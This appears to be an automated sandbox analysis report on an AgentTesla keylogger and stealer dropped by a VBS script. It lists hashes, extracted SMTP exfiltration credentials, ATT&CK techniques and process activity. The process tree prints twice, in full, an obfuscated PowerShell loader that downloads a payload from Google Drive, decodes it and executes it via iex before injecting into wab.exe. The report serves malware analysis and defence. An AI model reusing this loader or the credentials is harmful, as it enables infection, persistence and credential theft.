agenttesla | b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94

General

Target

b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94.vbs
Size

4KB
MD5

da84b84acab58afbc2549d0313d7a27d
SHA1

f9b2f7c8a1095a0a92b1c11ffad1db6f3e60ddcd
SHA256

b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94
SHA512

ed14edb9c28960454971bc4766109cff1e3195258fb1c2c15d25ec61592c49cef9b5afe01ca477254f73d16b81c0b9a2093bb35fb78861ae11e98876e96a3029
SSDEEP

96:QSUGGWOfwEq8apLbxVgsUkx0PONZDYwAqn/Q6oej2EjsCXdLKUfp:QS7GWC6Lb7dFGWNZDzhnouj2EQCXFbfp

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.raczki.pl
Port:
587
Username:
[email protected]
Password:
obslugaradygminy
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

17 3644 powershell.exe
19 3644 powershell.exe

flow	pid	process
17	3644	powershell.exe
19	3644	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

wab.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fMNDB = "C:\\Users\\Admin\\AppData\\Roaming\\fMNDB\\fMNDB.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

17 drive.google.com
50 drive.google.com
16 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2544 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

3800 powershell.exe
2544 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3800 set thread context of 2544 3800 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

3644 powershell.exe
3644 powershell.exe
3800 powershell.exe
3800 powershell.exe
3800 powershell.exe
2544 wab.exe
2544 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

3800 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 3644 powershell.exe
Token: SeDebugPrivilege 3800 powershell.exe
Token: SeDebugPrivilege 2544 wab.exe

flow	ioc
17	drive.google.com
50	drive.google.com
16	drive.google.com

pid	process
2544	wab.exe

pid	process
3800	powershell.exe
2544	wab.exe

description	pid	process	target process
PID 3800 set thread context of 2544	3800	powershell.exe	wab.exe

pid	process
3644	powershell.exe
3644	powershell.exe
3800	powershell.exe
3800	powershell.exe
3800	powershell.exe
2544	wab.exe
2544	wab.exe

pid	process
3800	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeDebugPrivilege	3800	powershell.exe
Token: SeDebugPrivilege	2544	wab.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 3672 wrote to memory of 3644	3672	WScript.exe	powershell.exe
PID 3672 wrote to memory of 3644	3672	WScript.exe	powershell.exe
PID 3644 wrote to memory of 320	3644	powershell.exe	cmd.exe
PID 3644 wrote to memory of 320	3644	powershell.exe	cmd.exe
PID 3644 wrote to memory of 3800	3644	powershell.exe	powershell.exe
PID 3644 wrote to memory of 3800	3644	powershell.exe	powershell.exe
PID 3644 wrote to memory of 3800	3644	powershell.exe	powershell.exe
PID 3800 wrote to memory of 2936	3800	powershell.exe	cmd.exe
PID 3800 wrote to memory of 2936	3800	powershell.exe	cmd.exe
PID 3800 wrote to memory of 2936	3800	powershell.exe	cmd.exe
PID 3800 wrote to memory of 2544	3800	powershell.exe	wab.exe
PID 3800 wrote to memory of 2544	3800	powershell.exe	wab.exe
PID 3800 wrote to memory of 2544	3800	powershell.exe	wab.exe
PID 3800 wrote to memory of 2544	3800	powershell.exe	wab.exe
PID 3800 wrote to memory of 2544	3800	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Slipsloppism='Sub';$Slipsloppism+='strin';$Lgelige = 1;$Slipsloppism+='g';Function Floskulatur($Erigeronnderzonen){$Perfected=$Erigeronnderzonen.Length-$Lgelige;For($Erigeron=1;$Erigeron -lt $Perfected;$Erigeron+=2){$Tressels+=$Erigeronnderzonen.$Slipsloppism.Invoke( $Erigeron, $Lgelige);}$Tressels;}function Posrs($Homme){. ($Pinier69) ($Homme);}$Delkoral=Floskulatur ' MPoNz i l l a / 5e.T0j J(.W iRnMd oRw sC NIT 1,0n.K0I;K WHiSn 6 4.; x 6,4 ;F ,rSvS:.1 2F1F. 0 )D SGFe.c k oI/ 2.0C1B0S0G1M0A1T UF iSr eAfSo x./ 1 2 1F.B0D ';$ophedning=Floskulatur 'NU s eCrS- ASgCeFnFtP ';$Festligstes=Floskulatur 'Sh t.tsp s : /./,d.rGiRvTeN.,gWoBo gAl e .Tc o.mU/Pu cR?OeJxNpTo,rIt,=RdEo w nAlDonaId,&,i,d.=T1 6DtPb XF4 oGYIG sT4,4Iv,R NTDDjCJ,otABp 8 _ CIPAz.d.V,crwS0 QMo, ';$Transpirer=Floskulatur 'S> ';$Pinier69=Floskulatur 'di.e.xG ';$Molekyle='Ejerpantebreve';$Hungerramt = Floskulatur ' e,c hUo .% a p pMd aSt,a % \ T o r nGtPaFpFp,eSn .FI,nOf. H&F& KeFc hDo BtA ';Posrs (Floskulatur ' $Sg,l.oKbDa.lK:STGewt rSascLaCr,b,oSx,y l.iSc =s(AcFmNdP C/IcP $OH u n,g eKr,r.agmKt ) ');Posrs (Floskulatur '.$Rg l.o b a l,: G r.o,u,n.dtwGoZrNkP=I$TF,e,s t,lBi.gAs,tUeLs,.Us.pEl,i.t (,$MTCr aBnMsPpGiFreeUr.). ');$Festligstes=$Groundwork[0];$Tystner= (Floskulatur 'B$GgMl,o,bTaDlT: KEi w i eQn,s 1,1 =FN.e w.-,O b,jMe c tS ,S y s tSe.m . NDeHtS.MWMe b C lSi e.n t');$Tystner+=$Tetracarboxylic[1];Posrs ($Tystner);Posrs (Floskulatur 'R$.KSi w.i.eAnAs,1R1I.HHDeLaSdFeMrRsM[M$ oCpah e.d.nYi n,gS],=D$ DLeFlTkwoSrIa l ');$Sommerstvne=Floskulatur '.$BKSiJwBi e,n sR1I1 .PDRoSwDn.l oea,dAFSiPl eW(H$BFIe s t l iAgks tLeTsA,T$ KuaPfTf eTp.uCn.cRhg)G ';$Kaffepunch=$Tetracarboxylic[0];Posrs (Floskulatur '.$Pg lAo.bEa lE: DPi.dBdSl,iSeBs =E( T e s tG- P.aKt,h. G$ K,aPfTf,eLpCu,n cLhL)V ');while (!$Diddlies) {Posrs (Floskulatur ' $bg.l,o,bEaKlr: A nIt i,eRmdpTeArBoWr 3.=E$.t,rDu eC ') ;Posrs $Sommerstvne;Posrs (Floskulatur ' S tNa r tI-AS.l.eSe p S4b ');Posrs (Floskulatur ' $Og,l o bAa lW:FD i dLd,l i eFsP=.( THeGs,t - P aKtLh $ Kda f f.e p,u nKcWh )c ') ;Posrs (Floskulatur 'H$Pg,lso b aMl.:,PNr e e n l i sDtMm.eDnAt sB=.$,gBl oSbKaPl : S e r fUaBgme,sU+F+ %U$DG rBoRu.n.dLw oLr kU.Pc.o u n.tO ') ;$Festligstes=$Groundwork[$Preenlistments];}$blomstergartnere=344026;$Antioxidizings=25954;Posrs (Floskulatur ' $,g l o bAaOlH: UBdAn.vMn t e,s, ,=F GBe.t - CKo nStDeLnBt, P$,K aUf f eSpSu n cRhO ');Posrs (Floskulatur 'I$ g lNo bda.lI:KNUaDvUe tSt e S= H[OSJy,s.tVePmR.JC,oBnBv,e.r,tD] : :SFTrGoFmCB aPsOeF6S4aSStVr iNnRgS(I$DUOdAn vFn tSe sS)P ');Posrs (Floskulatur 'S$ g.lCoAbMaCl,:AP r o.g r aRm mGrMePr n e, .= S[,S yAs.t eBm . TTe.x tP.DEFn c o d,iEn gS]i:N:TA SPCMIcIS.FG e t STt r i n g.(,$ NMa.v e,tMtBe,)R ');Posrs (Floskulatur ' $,gSl o bAaSlS:,K a a.rFeFn d.eSsB1,0,=O$,PSrIo,g rRaPmUm r e r n eV.,sSuBb sRtUrTi nNg ( $Bb lIoVmIsSt,eAr.gRa,rKt,n.e rKeA, $FA,n.tHiSoOxRiCd.i z iDnDg s.)P ');Posrs $Kaarendes10;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Torntappen.Inf && echo t"
    3⤵
    PID:320
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Slipsloppism='Sub';$Slipsloppism+='strin';$Lgelige = 1;$Slipsloppism+='g';Function Floskulatur($Erigeronnderzonen){$Perfected=$Erigeronnderzonen.Length-$Lgelige;For($Erigeron=1;$Erigeron -lt $Perfected;$Erigeron+=2){$Tressels+=$Erigeronnderzonen.$Slipsloppism.Invoke( $Erigeron, $Lgelige);}$Tressels;}function Posrs($Homme){. ($Pinier69) ($Homme);}$Delkoral=Floskulatur ' MPoNz i l l a / 5e.T0j J(.W iRnMd oRw sC NIT 1,0n.K0I;K WHiSn 6 4.; x 6,4 ;F ,rSvS:.1 2F1F. 0 )D SGFe.c k oI/ 2.0C1B0S0G1M0A1T UF iSr eAfSo x./ 1 2 1F.B0D ';$ophedning=Floskulatur 'NU s eCrS- ASgCeFnFtP ';$Festligstes=Floskulatur 'Sh t.tsp s : /./,d.rGiRvTeN.,gWoBo gAl e .Tc o.mU/Pu cR?OeJxNpTo,rIt,=RdEo w nAlDonaId,&,i,d.=T1 6DtPb XF4 oGYIG sT4,4Iv,R NTDDjCJ,otABp 8 _ CIPAz.d.V,crwS0 QMo, ';$Transpirer=Floskulatur 'S> ';$Pinier69=Floskulatur 'di.e.xG ';$Molekyle='Ejerpantebreve';$Hungerramt = Floskulatur ' e,c hUo .% a p pMd aSt,a % \ T o r nGtPaFpFp,eSn .FI,nOf. H&F& KeFc hDo BtA ';Posrs (Floskulatur ' $Sg,l.oKbDa.lK:STGewt rSascLaCr,b,oSx,y l.iSc =s(AcFmNdP C/IcP $OH u n,g eKr,r.agmKt ) ');Posrs (Floskulatur '.$Rg l.o b a l,: G r.o,u,n.dtwGoZrNkP=I$TF,e,s t,lBi.gAs,tUeLs,.Us.pEl,i.t (,$MTCr aBnMsPpGiFreeUr.). ');$Festligstes=$Groundwork[0];$Tystner= (Floskulatur 'B$GgMl,o,bTaDlT: KEi w i eQn,s 1,1 =FN.e w.-,O b,jMe c tS ,S y s tSe.m . NDeHtS.MWMe b C lSi e.n t');$Tystner+=$Tetracarboxylic[1];Posrs ($Tystner);Posrs (Floskulatur 'R$.KSi w.i.eAnAs,1R1I.HHDeLaSdFeMrRsM[M$ oCpah e.d.nYi n,gS],=D$ DLeFlTkwoSrIa l ');$Sommerstvne=Floskulatur '.$BKSiJwBi e,n sR1I1 .PDRoSwDn.l oea,dAFSiPl eW(H$BFIe s t l iAgks tLeTsA,T$ KuaPfTf eTp.uCn.cRhg)G ';$Kaffepunch=$Tetracarboxylic[0];Posrs (Floskulatur '.$Pg lAo.bEa lE: DPi.dBdSl,iSeBs =E( T e s tG- P.aKt,h. G$ K,aPfTf,eLpCu,n cLhL)V ');while (!$Diddlies) {Posrs (Floskulatur ' $bg.l,o,bEaKlr: A nIt i,eRmdpTeArBoWr 3.=E$.t,rDu eC ') ;Posrs $Sommerstvne;Posrs (Floskulatur ' S tNa r tI-AS.l.eSe p S4b ');Posrs (Floskulatur ' $Og,l o bAa lW:FD i dLd,l i eFsP=.( THeGs,t - P aKtLh $ Kda f f.e p,u nKcWh )c ') ;Posrs (Floskulatur 'H$Pg,lso b aMl.:,PNr e e n l i sDtMm.eDnAt sB=.$,gBl oSbKaPl : S e r fUaBgme,sU+F+ %U$DG rBoRu.n.dLw oLr kU.Pc.o u n.tO ') ;$Festligstes=$Groundwork[$Preenlistments];}$blomstergartnere=344026;$Antioxidizings=25954;Posrs (Floskulatur ' $,g l o bAaOlH: UBdAn.vMn t e,s, ,=F GBe.t - CKo nStDeLnBt, P$,K aUf f eSpSu n cRhO ');Posrs (Floskulatur 'I$ g lNo bda.lI:KNUaDvUe tSt e S= H[OSJy,s.tVePmR.JC,oBnBv,e.r,tD] : :SFTrGoFmCB aPsOeF6S4aSStVr iNnRgS(I$DUOdAn vFn tSe sS)P ');Posrs (Floskulatur 'S$ g.lCoAbMaCl,:AP r o.g r aRm mGrMePr n e, .= S[,S yAs.t eBm . TTe.x tP.DEFn c o d,iEn gS]i:N:TA SPCMIcIS.FG e t STt r i n g.(,$ NMa.v e,tMtBe,)R ');Posrs (Floskulatur ' $,gSl o bAaSlS:,K a a.rFeFn d.eSsB1,0,=O$,PSrIo,g rRaPmUm r e r n eV.,sSuBb sRtUrTi nNg ( $Bb lIoVmIsSt,eAr.gRa,rKt,n.e rKeA, $FA,n.tHiSoOxRiCd.i z iDnDg s.)P ');Posrs $Kaarendes10;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3800
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Torntappen.Inf && echo t"
      4⤵
      PID:2936
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Adds Run key to start application
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eusfkpsm.k5a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Torntappen.Inf

Filesize
481KB

MD5
af362ac0f71c354e02c2f692a94d3755

SHA1
f6667c8657dce705f35731ec0cda5bcea418826c

SHA256
ab4a7ac83a0974c4125388864e9552d5d9693937da3f438d98489cc725e4d4e9

SHA512
c4a3dfd681a1b6a40a12434d52030854d677780d00a65e970082bd004058fb74c80901bcdbfb439734d286a4e4e174f17a994a5b483c7eb016e7d45018a92de2

Download Submit
memory/2544-61-0x00000000242C0000-0x0000000024352000-memory.dmp

Filesize
584KB

Download
memory/2544-62-0x00000000241C0000-0x00000000241CA000-memory.dmp

Filesize
40KB

Download
memory/2544-60-0x00000000241D0000-0x0000000024220000-memory.dmp

Filesize
320KB

Download
memory/2544-55-0x0000000001090000-0x00000000010D2000-memory.dmp

Filesize
264KB

Download
memory/2544-54-0x0000000001090000-0x00000000022E4000-memory.dmp

Filesize
18.3MB

Download
memory/3644-2-0x00007FFCB80C0000-0x00007FFCB8B81000-memory.dmp

Filesize
10.8MB

Download
memory/3644-4-0x000001326F630000-0x000001326F652000-memory.dmp

Filesize
136KB

Download
memory/3644-1-0x00007FFCB80C0000-0x00007FFCB8B81000-memory.dmp

Filesize
10.8MB

Download
memory/3644-0-0x00007FFCB80C3000-0x00007FFCB80C5000-memory.dmp

Filesize
8KB

Download
memory/3644-58-0x00007FFCB80C0000-0x00007FFCB8B81000-memory.dmp

Filesize
10.8MB

Download
memory/3644-40-0x00007FFCB80C3000-0x00007FFCB80C5000-memory.dmp

Filesize
8KB

Download
memory/3644-39-0x00007FFCB80C0000-0x00007FFCB8B81000-memory.dmp

Filesize
10.8MB

Download
memory/3800-17-0x0000000005220000-0x0000000005242000-memory.dmp

Filesize
136KB

Download
memory/3800-34-0x0000000007380000-0x0000000007416000-memory.dmp

Filesize
600KB

Download
memory/3800-35-0x0000000007310000-0x0000000007332000-memory.dmp

Filesize
136KB

Download
memory/3800-36-0x0000000008570000-0x0000000008B14000-memory.dmp

Filesize
5.6MB

Download
memory/3800-33-0x0000000006660000-0x000000000667A000-memory.dmp

Filesize
104KB

Download
memory/3800-38-0x0000000008B20000-0x000000000C6DA000-memory.dmp

Filesize
59.7MB

Download
memory/3800-32-0x0000000007940000-0x0000000007FBA000-memory.dmp

Filesize
6.5MB

Download
memory/3800-31-0x0000000006220000-0x000000000626C000-memory.dmp

Filesize
304KB

Download
memory/3800-30-0x00000000060D0000-0x00000000060EE000-memory.dmp

Filesize
120KB

Download
memory/3800-29-0x0000000005B20000-0x0000000005E74000-memory.dmp

Filesize
3.3MB

Download
memory/3800-18-0x0000000005950000-0x00000000059B6000-memory.dmp

Filesize
408KB

Download
memory/3800-19-0x0000000005AB0000-0x0000000005B16000-memory.dmp

Filesize
408KB

Download
memory/3800-16-0x00000000052B0000-0x00000000058D8000-memory.dmp

Filesize
6.2MB

Download
memory/3800-15-0x00000000027B0000-0x00000000027E6000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads